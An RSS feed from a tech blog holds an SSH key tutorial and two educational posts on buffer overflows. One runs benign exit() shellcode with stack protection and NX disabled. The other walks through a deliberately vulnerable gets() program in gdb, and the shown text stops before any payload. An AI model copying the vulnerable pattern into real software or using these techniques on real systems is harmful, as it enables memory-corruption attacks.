<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tech Blog is Tech &#187; Security</title>
	<atom:link href="http://www.techblogistech.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.techblogistech.com</link>
	<description>Exploring technology in the modern world</description>
	<lastBuildDate>Sat, 04 May 2013 14:10:47 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Regenerating Your SSH Public Key from Your SSH Private Key</title>
		<link>http://www.techblogistech.com/2012/07/regenerating-your-ssh-public-key/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=regenerating-your-ssh-public-key</link>
		<comments>http://www.techblogistech.com/2012/07/regenerating-your-ssh-public-key/#comments</comments>
		<pubDate>Tue, 24 Jul 2012 17:56:54 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[bitbucket]]></category>
		<category><![CDATA[dsa]]></category>
		<category><![CDATA[generate]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[keygen]]></category>
		<category><![CDATA[keypair]]></category>
		<category><![CDATA[private]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[public]]></category>
		<category><![CDATA[regenerate]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rsa]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ssh-keygen]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=892</guid>
		<description><![CDATA[Have you ever found yourself in a situation where you had your SSH private key, but not your public key? &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2012/07/regenerating-your-ssh-public-key/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" rel="shadowbox[sbpost-892];player=img;"><img class="lazy alignright size-full wp-image-104" title="Terminal" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" alt="Terminal" width="77" height="77" /><noscript><img class="alignright size-full wp-image-104" title="Terminal" src="http://www.techblogistech.com/wp-content/uploads/2011/07/oxygen-utilities-terminal.png" alt="Terminal" width="77" height="77" /></noscript></a> Have you ever found yourself in a situation where you had your SSH private key, but not your public key? Maybe you copied your private key to a new laptop, but then realized you need your public key so your coworker can add you to the new Git repo. Or maybe you just plain lost your public key or have no idea what happened to it. But guess what, that&#8217;s not a problem! Because you can regenerate it!</p>
<h2>Using ssh-keygen</h2>
<p>The <strong>ssh-keygen</strong> command allows you to regenerate a public key using the <strong>-y</strong> flag. Using the <strong>-t</strong> flag you can tell it whether the key is <strong>rsa</strong> or <strong>dsa</strong>.</p>
<h3>Is my key RSA or DSA?</h3>
<p>Chances are it doesn&#8217;t matter; <strong>ssh-keygen</strong> will try to guess based on the input key.  However, if you don&#8217;t know your key encryption, it&#8217;s probably <strong>rsa</strong> since that&#8217;s the default. The filename will also typically tell you, since it&#8217;s usually either <strong>id_rsa</strong> or <strong>id_dsa</strong>. And even beyond that, if you look at the text in the file, it should be present there as well.</p>
<h2>Regenerating a Public Key</h2>
<p>Here&#8217;s an example:</p>
<pre class="bigbash">
# ssh-keygen -y
Enter file in which the key is (/home/username/.ssh/id_rsa):
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3T65FaSononqBjGEZXMg8x0U3ZjYvZxAUZQA7H27VtPgrn9FhsP8Jn+sp0zOi2nFjDsbXWM5L6OPVg1N0OHpiNcg7I
lrc83GiqVGg2AWeHWWolnOwXIsrfwybVcS6ZSCGbGKVWWL5VB/mt/zzF5WD6bhU+TZXYLq8fZC4sa0sapqVccubKw2YbjA53n0wKxrYLfOjP1k56EfkHzm4n7fmlyFi
3kaCvPo31yaMD3zIVJnl/4wMntnnxqFkG7mEtQ29ngkc5ocgRvSbNNvD9IFNvL/9BqlUtiOUcV790cdoLyd0o1mFV8sGPY3zsL6l3lTkjYDmSXTTnxavjHEudC5w==
</pre>
<p>BAM! There&#8217;s your public key!</p>
<h2>Is this safe?</h2>
<p>Yes, regenerating your key is completely safe and there&#8217;s no reason why you wouldn&#8217;t want to do this. Public keys are <strong>public</strong>, just as their name implies. You can give your public key to anyone.</p>
<p>The private key is the one you should keep to yourself and safe-guard. You should be the only one with your private key, and there&#8217;s no reason you should not be able to get a copy of your own public key.</p>
<p>&#8211;</p>
<p>Now save that public key somewhere safe so you don&#8217;t have to generate it every time!</p>
<p>Happy authenticating!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2012/07/regenerating-your-ssh-public-key/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing Shellcode on a Non-Executable Stack or Heap</title>
		<link>http://www.techblogistech.com/2011/08/testing-shellcode-on-a-non-executable-stack-or-heap/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=testing-shellcode-on-a-non-executable-stack-or-heap</link>
		<comments>http://www.techblogistech.com/2011/08/testing-shellcode-on-a-non-executable-stack-or-heap/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 17:33:13 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[64-bit]]></category>
		<category><![CDATA[amd]]></category>
		<category><![CDATA[anonymous memory map]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[buffer overflow primer]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[evp]]></category>
		<category><![CDATA[execstack]]></category>
		<category><![CDATA[fun and profit]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[heap overflow]]></category>
		<category><![CDATA[instruction pointer]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nx bit]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[pointer]]></category>
		<category><![CDATA[pointers]]></category>
		<category><![CDATA[propolice]]></category>
		<category><![CDATA[ret]]></category>
		<category><![CDATA[return-to-libc]]></category>
		<category><![CDATA[rip]]></category>
		<category><![CDATA[segfault]]></category>
		<category><![CDATA[segmentation fault]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[smashing the stack]]></category>
		<category><![CDATA[ssp]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[stack overflow]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[xdbit]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=596</guid>
		<description><![CDATA[If you&#8217;re learning about buffer overflows and shellcode, chances are you&#8217;re exploiting some stack-based vulnerabilities. If you&#8217;re like me you &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/testing-shellcode-on-a-non-executable-stack-or-heap/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-596];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a>If you&#8217;re <a href="http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/" title="Examining a Buffer Overflow in C and assembly with gdb">learning about buffer overflows</a> and shellcode, chances are you&#8217;re exploiting some stack-based vulnerabilities.  If you&#8217;re like me you might also find that when you compile your programs they have stack execution disabled by default.  So instead of getting excited as you see your shellcode blissfully running after smashing the stack, you might just see this instead:</p>
<pre class="bash">
Program received signal SIGSEGV, Segmentation fault.
0x0000000000601018 in shellcode ()
</pre>
<h5>&#8220;Noooo! You can&#8217;t do this to me!  I want to write exploits!&#8221;</h5>
<p>Ok.. calm down.. we just need to turn on stack execution when compiling.</p>
<p><span id="more-596"></span></p>
<h1>Enabling Stack Execution</h1>
<p>You can turn on stack execution when you compile your program using <strong>ld</strong>&#8216;s <strong>execstack</strong> flag.  To pass this parameter in from <strong>gcc</strong>, use the <strong>-z</strong> flag:</p>
<pre class="bash">
gcc -ggdb -fno-stack-protector -z execstack -o ShellCode ShellCode.c
</pre>
<p>The above flags will:</p>
<ul>
<li><strong>-ggdb:</strong> enable debugging symbols so we can load the application into <strong>gdb</strong> and step through it with detailed information</li>
<li><strong>-fno-stack-protector:</strong> disable <strong>gcc</strong>&#8216;s <a href="http://www.trl.ibm.com/projects/security/ssp/" title="GCC Stack-smashing Protection" target="_blank">built-in stack protection</a> just to be sure it doesn&#8217;t complain at you</li>
<li><strong>-z execstack:</strong> allow code on the stack to execute; in other words, disable the <a href="http://en.wikipedia.org/wiki/NX_bit" title="NX bit at Wikipedia" target="_blank">NX bit</a>.  See also <a href="http://www.intel.com/technology/xdbit/index.htm" title="xdbit at Intel" target="_blank">Intel&#8217;s xdbit</a> or <a href="http://www.amd.com/us/Documents/New_Approach_to_PC_SecurityFinal_(2).pdf" title="Enhanced Virus Protection at AMD" target="_blank">AMD&#8217;s EVP</a>.</li>
</ul>
<h2>Example Code</h2>
<p>Here is some example code written my 64-bit machine that will execute shell code on the stack after compiling using the aforementioned flags.</p>
<pre>
#include<stdio.h>

/*
 * shell code based on an objdump of the exit() routine on my machine
 * # objdump -d ExitShellCode
 * 
 * ExitShellCode:     file format elf64-x86-64
 * 
 * 
 * Disassembly of section .text:
 * 
 * 0000000000400078 <_start>:
 *   400078:	48 c7 c7 00 00 00 00 	mov    $0x0,%rdi
 *   40007f:	b8 3c 00 00 00       	mov    $0x3c,%eax
 *   400084:	0f 05                	syscall
*/
char shellcode[] = "\x48\xc7\xc7\x00\x00\x00\x00"
                   "\xb8\x3c\x00\x00\x00"
                   "\x0f\05";

main() {
    // put a pointer on the stack
    long *ret;

    /*
     * we're going to point *ret to itself, then add 2 ints so that it points to main()'s
     * ret pointer on the stack
     *
     * in other words, we're doing this...
     *
     * bottom of  DDDDDDDD  DDDDEEEE  EEEEEEEE  EEEEFFFF  FFFFFFFF  FFFFFFFF     top of
     * memory     89ABCDEF  01234567  89ABCDEF  01234567  89ABCDEF  01234567     memory
     *            *ret      ebp       ret       a         b         c
     *
     * <-------   [0x010101][0x010101][0x010101][        ][        ][        ]
     *             |                          ^
     *             |--------------------------|
     * top of                                                                  bottom of
     * stack                                                                   stack
    */
    ret = (long *)&#038;ret + 2;

    // now overwrite the ret value with the shellcode pointer so when main() returns the shellcode executes
    (*ret) = (long)shellcode;
}
</pre>
<h1>Other Techniques</h1>
<h2>Return-to-libc Attack</h2>
<p>Of course in a real situation you wouldn't be able to recompile the program so you would need another way to execute your shellcode.  For that situation, you can try <a href="http://penturalabs.wordpress.com/2011/04/02/vulnerability-development-buffer-overflows-how-to-bypass-non-executable-stack-nx/" title="Buffer Overflows: How To Bypass Non Executable Stack (NX)" target="_blank">this technique</a>, which is known as a <a href="http://en.wikipedia.org/wiki/Return-to-libc_attack" title="Return-to-libc attack at Wikipedia" target="_blank">return-to-libc attack</a>.  If you've been following <a href="http://www.securitytube.net/groups?operation=view&#038;groupId=4" title="Buffer Overflow Primer from Vivek Ramachandran" target="_blank">Vivek's buffer overflow series</a>, he made a video about return-to-libc <a href="http://www.securitytube.net/video/257" title="Return to libc theory from Vivek Ramachandran" target="_blank">here</a>.</p>
<h2>Anonymous Memory Maps</h2>
<p>Another alternative is to use an <a href="http://en.wikipedia.org/wiki/Mmap" title="Mmap at Wikipedia" target="_blank">anonymous memory map</a> and then <a href="http://www.thexploit.com/secdev/testing-your-shellcode-on-a-non-executable-stack-or-heap" title="Testing Your Unix-Based Shellcode on a Non-Executable Stack or Heap" target="_blank">copy your shellcode into that memory</a>.  This has the added benefit of allowing you <strong>run code on a non-executable heap</strong> as well, but it's not as easy as passing the <strong>execstack</strong> flag to <strong>gcc</strong>.</p>
<h1>Good Luck</h1>
<p>I hope you learned something!  Good luck with your exploits!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/testing-shellcode-on-a-non-executable-stack-or-heap/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Examining a Buffer Overflow in C and assembly with gdb</title>
		<link>http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=examining-a-buffer-overflow-in-c-and-assembly-with-gdb</link>
		<comments>http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 20:59:44 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[64-bit]]></category>
		<category><![CDATA[addq]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[base pointer]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[buffer overflow primer]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[ebp]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[fun and profit]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[getinput]]></category>
		<category><![CDATA[gets]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[instruction pointer]]></category>
		<category><![CDATA[int]]></category>
		<category><![CDATA[leave]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[main]]></category>
		<category><![CDATA[movl]]></category>
		<category><![CDATA[movq]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[pointer]]></category>
		<category><![CDATA[pointers]]></category>
		<category><![CDATA[popq]]></category>
		<category><![CDATA[printf]]></category>
		<category><![CDATA[pushq]]></category>
		<category><![CDATA[puts]]></category>
		<category><![CDATA[rbp]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[ret]]></category>
		<category><![CDATA[rip]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[segfault]]></category>
		<category><![CDATA[segmentation fault]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[smashing the stack]]></category>
		<category><![CDATA[stabs]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[stack overflow]]></category>
		<category><![CDATA[string]]></category>
		<category><![CDATA[strings]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[ub3r 1337]]></category>
		<category><![CDATA[ub3r h4x0r]]></category>
		<category><![CDATA[vivek ramachandran]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=581</guid>
		<description><![CDATA[Welcome University of Maryland students! Thanks for visiting! I&#8217;ve now finished Vivek Ramachandran&#8217;s Assembly Primer for Hackers and I&#8217;ve decided &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-581];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a><strong>Welcome University of Maryland students! Thanks for visiting! <img src='http://www.techblogistech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></p>
<p>I&#8217;ve now finished Vivek Ramachandran&#8217;s <a title="Assembly Primer for Hackers" href="http://www.securitytube.net/groups?operation=view&amp;groupId=5" target="_blank">Assembly Primer for Hackers</a> and I&#8217;ve decided to move on to his <a href="http://www.securitytube.net/groups?operation=view&#038;groupId=4" title="Buffer Overflow Primer" target="_blank">Buffer Overflow Primer</a>.  I&#8217;ve exploited basic buffer overflows before, but I think going through his videos will give me more perspective now that I&#8217;ve brushed up on assembly.</p>
<p>In this article I&#8217;ll be stepping through the program in Vivek&#8217;s first video and providing some additional tips and tricks that I find useful when reviewing the program in gdb.  I&#8217;m also on a 64-bit machine, so things are a bit different in gdb for me than they are in the video.  Therefore it&#8217;s better that I write up my own explanations as I grasp the material so when I review later it will be more clear.</p>
<p><span id="more-581"></span></p>
<h1>Buffer Overflow</h1>
<p>Wikipedia describes a buffer overflow as &#8220;an anomaly where a program, while writing data to a buffer, overruns the buffer&#8217;s boundary and overwrites adjacent memory.&#8221;  When writing software you define all sorts of buffers where data can be stored.  If the boundaries of these buffers are not explicitly checked, the program may continue to write data beyond the end of the buffer.  But if data is written beyond the end of a buffer, where does it go?  Well, it starts overwriting data in other memory locations; or in some cases it may try to write to memory locations that it doesn&#8217;t have access to and the operating system may return an exception to the program or kill it.</p>
<h2>How to exploit it</h2>
<p>Well, we know that a buffer overflow involves overwriting memory locations outside the buffer.  Typically you exploit a buffer overflow in an application by doing exactly this.  The difficulty in writing a buffer overflow exploit is in determining which memory locations you are able to overwrite and how overwriting those locations can benefit you.  Typically what you&#8217;re trying to do is force the application to jump to another location in memory and execute the instructions there instead of the instructions that it would normally execute.  For instance, you might be trying to get the program to jump to a <strong>root shell</strong>.  A few ways you might do this are:</p>
<ul>
<li>Overwrite a local variable that affects the workflow of the program by causing it to branch in a way that is beneficial to the attacker.</li>
<li>Overwrite the return address on the stack.  As soon as the current function calls <strong>ret</strong> the return address is popped back off the stack into EIP and executed.</li>
<li>Overwrite a function pointer or an exception handler.  As soon as the function is called or the exception is thrown your code will execute instead.</li>
</ul>
<h2>The code</h2>
<p>This is the C code that I&#8217;m compiling and reviewing in gdb.</p>
<pre class="brush: cpp; title: GetInput.c: the &#039;gets&#039; function is used here so we can observe a buffer overflow; notranslate">
#include&lt;stdio.h&gt;

CanNeverExecute()
{
        printf(&quot;I can never execute\n&quot;);
        exit(0);
}

GetInput()
{
        char buffer[8];

        gets(buffer);
        puts(buffer);
}

main()
{
        GetInput();

        return 0;
}
</pre>
<h2>Compiling the code</h2>
<p>On my 64-bit machine I compile the code using <strong>-ggdb</strong> to enable debugging information.  I also use <strong>-fno-stack-protector</strong> to disable stack protection.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">gcc -ggdb -fno-stack-protector -o GetInput GetInput.c</pre>
<h2>Running the vulnerable program</h2>
<p>You&#8217;ll notice that when calling <strong>gets</strong> we pass it an 8 byte buffer (<strong>char buffer[8]</strong>).  Executing the program and typing &#8216;overflo&#8217; works without a hitch since it&#8217;s only 7 characters long.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
# ./GetInput 
overflo
overflo
</pre>
<p>But if you start feeding it more characters you&#8217;ll almost surely see a <a href="http://www.techblogistech.com/2011/08/examining-the-stack-to-debug-segfaults-with-gdb/" title="Examining the Stack to Debug Segfaults with gdb">segmentation fault</a>.  The number of characters you have to type to get a segfault could vary depending on your CPU and your compiler, but something like &#8216;overflow the buffer&#8217; should do the trick.</p>
<pre class="brush: plain; gutter: false; highlight: [4]; title: ; notranslate">
# ./GetInput 
overflow the buffer
overflow the buffer
Segmentation fault
</pre>
<h2 id="exploit-type">Exploit type</h2>
<p>This particular code is vulnerable to a stack overflow.  The <strong>gets</strong> function is not safe to use because it takes any number of characters from <strong>stdin</strong> and puts them into the buffer <strong>regardless of the size of the buffer</strong>.  As you can see from the execution above we tried to place 19 characters into the buffer.  On top of that the <strong>gets</strong> function will also place a null character at the end of the buffer to signal the end of the string.  You obviously cannot fit 20 bytes into an 8-byte buffer, so we overwrote 12 bytes of data in memory.</p>
<p>Because the <strong>buffer</strong> variable is a local variable within the <strong>GetInput</strong> function, it will be stored on the stack.  Based on that reasoning, we know that a <strong>stack overflow</strong> is occurring.  So if we wanted to exploit it we would probably just need to overwrite the return address pointer or EIP.</p>
<h2>Analyzing the program in gdb</h2>
<h3>Digging in</h3>
<p>Let&#8217;s understand how this overflow actually works and how you could do nasty things with it.  To start, load up the program in gdb.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">gdb ./GetInput</pre>
<h3>Setting breakpoints</h3>
<p>We know that <strong>gets</strong> is not a safe function to use because it takes any number of characters and puts them into the buffer regardless of the size of the buffer.  I think it would be most helpful for us to set a breakpoint just before the call to the <strong>GetInput</strong> method and just before the call to <strong>gets</strong>.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
(gdb) list
10	{
11	    char buffer[8];
12	
13	    gets(buffer);
14	    puts(buffer);
15	}
16	
17	main()
18	{
19	    GetInput();
(gdb) 
20	
21	    return 0;
22	}
23	
(gdb) break 19
Breakpoint 1 at 0x4005f2: file GetInput.c, line 19.
(gdb) break 13
Breakpoint 2 at 0x4005d4: file GetInput.c, line 13.
</pre>
<h3>Running the program</h3>
<p>Let&#8217;s go ahead and run the program now that we have the breakpoints.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
(gdb) run
Starting program: /root/c/GetInput 

Breakpoint 1, main () at GetInput.c:19
19	    GetInput();
</pre>
<h3>Examining the stack before the call to GetInput</h3>
<p>Because this is a <a href="#exploit-type" title="Exploit type">stack overflow</a>, it&#8217;s important to review the stack before we call <strong>GetInput</strong>.</p>
<pre class="brush: plain; gutter: false; highlight: [2]; title: The stack before calling GetInput; notranslate">
(gdb) x/8xg $rsp
0x7fffffffe3f0:	0x0000000000000000	0x00007ffff7a78c4d
0x7fffffffe400:	0x0000000000000000	0x00007fffffffe4d8
0x7fffffffe410:	0x0000000100000000	0x00000000004005ee
0x7fffffffe420:	0x0000000000000000	0x27697451f3069404
</pre>
<p>At the top of the stack is <strong>0&#215;0</strong> followed by <strong>0x00007ffff7a78c4d</strong>.  </p>
<h3>Examining the stack after the call to GetInput</h3>
<p>Now let&#8217;s step into the call to <strong>GetInput</strong> and examine the stack again to see what&#8217;s changed.</p>
<pre class="brush: plain; gutter: false; title: The stack after calling GetInput; notranslate">
(gdb) s

Breakpoint 2, GetInput () at GetInput.c:13
13	    gets(buffer);
(gdb) x/8xg $rsp
0x7fffffffe3d0:	0x0000000000000000	0x00000000004004d0
0x7fffffffe3e0:	0x00007fffffffe3f0	0x00000000004005fc
0x7fffffffe3f0:	0x0000000000000000	0x00007ffff7a78c4d
0x7fffffffe400:	0x0000000000000000	0x00007fffffffe4d8
</pre>
<p>So if we look for the <strong>0&#215;0</strong> followed by <strong>0x00007ffff7a78c4d</strong> again, we can see they&#8217;re still visible at the second-to-last line, but they&#8217;re now further down the stack.  It looks like we&#8217;ve added 32 bytes to the stack here.  Based on the code you should have a pretty good idea of why, but let&#8217;s review it in gdb to be sure.</p>
<h3>What was added to the stack when calling GetInput</h3>
<p>The answers are simple, but I&#8217;ll explain them in detail so this section is a <a href="http://dictionary.reference.com/browse/doozy" title="Doozy at Dictionary.com" target="_blank">doozy</a>.  Let&#8217;s start by looking at our current stack frame (the frame for GetInput).</p>
<pre class="brush: plain; gutter: false; highlight: [3,7]; title: GetInput&#039;s stack frame; notranslate">
(gdb) info f
Stack level 0, frame at 0x7fffffffe3f0:
 rip = 0x4005d4 in GetInput (GetInput.c:13); saved rip 0x4005fc
 called by frame at 0x7fffffffe400
 source language c.
 Arglist at 0x7fffffffe3e0, args: 
 Locals at 0x7fffffffe3e0, Previous frame's sp is 0x7fffffffe3f0
 Saved registers:
  rbp at 0x7fffffffe3e0, rip at 0x7fffffffe3e8
</pre>
<p>If you look at the first highlighted line above, you&#8217;ll see where it says <strong>saved rip 0x4005fc</strong>.  If you look at the 4th position on the stack you&#8217;ll see that this matches.  That&#8217;s because when we called <strong>GetInput</strong> the return address to get back to <strong>main</strong> was stored on the stack.  You can see this even further by disassembling main:</p>
<pre class="brush: plain; gutter: false; highlight: [7]; title: Main&#039;s compiler-generated assembly code; notranslate">
(gdb) disas main
Dump of assembler code for function main:
   0x00000000004005ee &lt;+0&gt;:	push   %rbp
   0x00000000004005ef &lt;+1&gt;:	mov    %rsp,%rbp
   0x00000000004005f2 &lt;+4&gt;:	mov    $0x0,%eax
   0x00000000004005f7 &lt;+9&gt;:	callq  0x4005cc &lt;GetInput&gt;
   0x00000000004005fc &lt;+14&gt;:	mov    $0x0,%eax
   0x0000000000400601 &lt;+19&gt;:	leaveq 
   0x0000000000400602 &lt;+20&gt;:	retq   
End of assembler dump.
</pre>
<p>Notice the highlighted line is the return memory address on the stack and is, of course, the line right after the call to <strong>GetInput</strong>.  When <strong>GetInput</strong> calls <strong>ret</strong> it will return to this location.</p>
<p>Now if you take another look at GetInput&#8217;s stack frame, you&#8217;ll see I highlighted a second line that says <strong>Previous frame&#8217;s sp is 0x7fffffffe3f0</strong>.  This is the stack pointer for <strong>main</strong>&#8216;s stack frame and is also seen on the stack after the call to <strong>GetInput</strong>.  This is because the first operation of any good function is to push the base pointer onto the stack.  If you disassemble <strong>GetInput</strong> you&#8217;ll see that&#8217;s exactly what it did.</p>
<pre class="brush: plain; gutter: false; highlight: [3,5]; title: GetInput&#039;s compiler-generated assembly code; notranslate">
(gdb) disas GetInput
Dump of assembler code for function GetInput:
   0x00000000004005cc &lt;+0&gt;:	push   %rbp
   0x00000000004005cd &lt;+1&gt;:	mov    %rsp,%rbp
   0x00000000004005d0 &lt;+4&gt;:	sub    $0x10,%rsp
=&gt; 0x00000000004005d4 &lt;+8&gt;:	lea    -0x10(%rbp),%rax
   0x00000000004005d8 &lt;+12&gt;:	mov    %rax,%rdi
   0x00000000004005db &lt;+15&gt;:	callq  0x4004c0 &lt;gets@plt&gt;
   0x00000000004005e0 &lt;+20&gt;:	lea    -0x10(%rbp),%rax
   0x00000000004005e4 &lt;+24&gt;:	mov    %rax,%rdi
   0x00000000004005e7 &lt;+27&gt;:	callq  0x400490 &lt;puts@plt&gt;
   0x00000000004005ec &lt;+32&gt;:	leaveq 
   0x00000000004005ed &lt;+33&gt;:	retq   
End of assembler dump.
</pre>
<p>So as you can see at the first highlighted line above, <strong>GetInput</strong> did clearly push the base pointer onto the stack, which is what we saw when examining the stack.</p>
<p>That only leaves the other mysterious 16 bytes at the top of the stack.  What are those for?  Well, if you review the second highlighted line above you&#8217;ll see where the assembly code asks the cpu to subtract <strong>0&#215;10</strong> from the stack pointer.  If you do the math there, that&#8217;s 16 in decimal.  So the stack pointer was adjusted by 16 bytes, which is to make room for <strong>buffer</strong>, the local variable we defined.  Of course we only defined an 8-byte buffer in our code[<a href="#footnote-1" title="More on data type sizes">1</a>], so why did the machine code the compiler generated make room for 16 bytes?  Well, that&#8217;s a bit more complicated, but basically it&#8217;s a compiler optimization[<a href="#footnote-2" title="More on data structure alignment">2</a>].  We&#8217;ll move on for now, but just keep in mind that we have a 16-byte buffer on the stack even though we asked for an 8-byte buffer.</p>
<h4>Why isn&#8217;t the buffer set to zero (0)?</h4>
<p>You also may be wondering why the buffer isn&#8217;t defined to <strong>0</strong>, but instead appears to have some miscellaneous data in it.</p>
<pre class="brush: plain; gutter: false; title: buffer, the local variable in GetInput; notranslate">
(gdb) x/2xg $rsp
0x7fffffffe3d0:	0x0000000000000000	0x00000000004004d0
</pre>
<p>Well, the answer to that is simple; we didn&#8217;t ask for it to be 0.  As you can see in the assembly code, the stack pointer was just adjusted to make 16 bytes available on the stack.  Therefore, the next 16 bytes are now made available.  We haven&#8217;t set <strong>buffer</strong> to any value and in C this means the value is <strong>indeterminate</strong>!  In other words, whatever values happened to be in that memory location are still there[<a href="#footnote-3" title="More on string initialization">3</a>].</p>
<h3>No more gdb</h3>
<p>Now that we&#8217;ve determined the condition of the stack I think we know enough to exploit the program.  You can go ahead and close <strong>gdb</strong>.</p>
<h2>Visualizing the buffer overflow</h2>
